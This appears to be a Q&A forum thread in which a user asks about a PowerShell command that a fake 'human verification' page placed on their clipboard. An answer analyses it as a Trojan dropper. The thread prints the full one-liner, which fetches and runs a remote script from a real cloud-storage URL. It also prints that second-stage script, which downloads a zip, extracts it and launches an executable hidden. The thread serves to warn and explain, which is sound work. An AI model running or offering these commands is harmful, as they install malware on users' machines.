This is the input:
cmd.exe /c powershell -WindowStyle Hidden -Command "$rQd='https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.txt'; $pLs=New-Object System.Net.WebClient; $sLf=$pLs.DownloadString($rQd); Invoke-Expression $sLf;"
This was on my clipboard after clicking a "human verification" button on some video download webapp. It told me that, in order to verify, I must hit Win + R, Ctrl + V, then Enter.
Thankfully, I already know what Win + R does, so I didn't follow those "verification instructions."
It looks like it downloads something, but I'm not sure what else.
To help you understand what the command is doing and perhaps helping future readers with similar issue, this is indeed downloading and executing a Trojan.
In simple steps how you can determine this, first check the URL content with Invoke-RestMethod
:
Invoke-RestMethod https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.txt
You will see that the content is a PowerShell script. Immediately after you can see the suspicious run.zip
at the top of the script, if you paste the .zip
URL in https://www.virustotal.com/ you can see that it is indeed malicious:
Aadding comments to understand what the code does:
# defines download file
$zxty = 'https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.zip'
# defines destination file for the zip
$qbrw = "$env:APPDATA\file_azlm5.zip"
# defines destination folder for the zip
$lpmk = "$env:APPDATA\Install_4278"
# defines destination path for the extracted `.exe` from this zip
$vkdy = Join-Path $lpmk 'spPortableRun.exe'
# if the destination folder doesnt exist
if (!(Test-Path $lpmk)) {
# creates it
New-Item -Path $lpmk -ItemType Directory
}
try {
# tries to download `run.zip` to destination file `file_azlm5.zip`
$ghwd = New-Object System.Net.WebClient
$ghwd.DownloadFile($zxty, $qbrw)
}
catch {
exit
}
try {
Add-Type -AssemblyName 'System.IO.Compression.FileSystem'
# extract the downloaded zip to destination folder `Install_4278`
[System.IO.Compression.ZipFile]::ExtractToDirectory($qbrw, $lpmk)
# and delete the zip file
Remove-Item $qbrw -Force
}
catch {
exit
}
try {
# starts the trojan extracted from the zip file
# (should've been `spPortableRun.exe` in `Install_4278` folder)
Start-Process -FilePath $vkdy -WindowStyle Hidden
}
catch {
exit
}
And to summarize with comments, the -Command
you would be executing:
# defines content URL
$rQd = 'https://fixedzip.oss-ap-southeast-5.aliyuncs.com/run.txt'
# creates a WebClient object
$pLs = New-Object System.Net.WebClient
# download the string content
# (this is pretty much like using `Invoke-RestMethod`)
$sLf = $pLs.DownloadString($rQd)
# `Invoke-Expression` here invokes the PowerShell script
# embedded in the string content
Invoke-Expression $sLf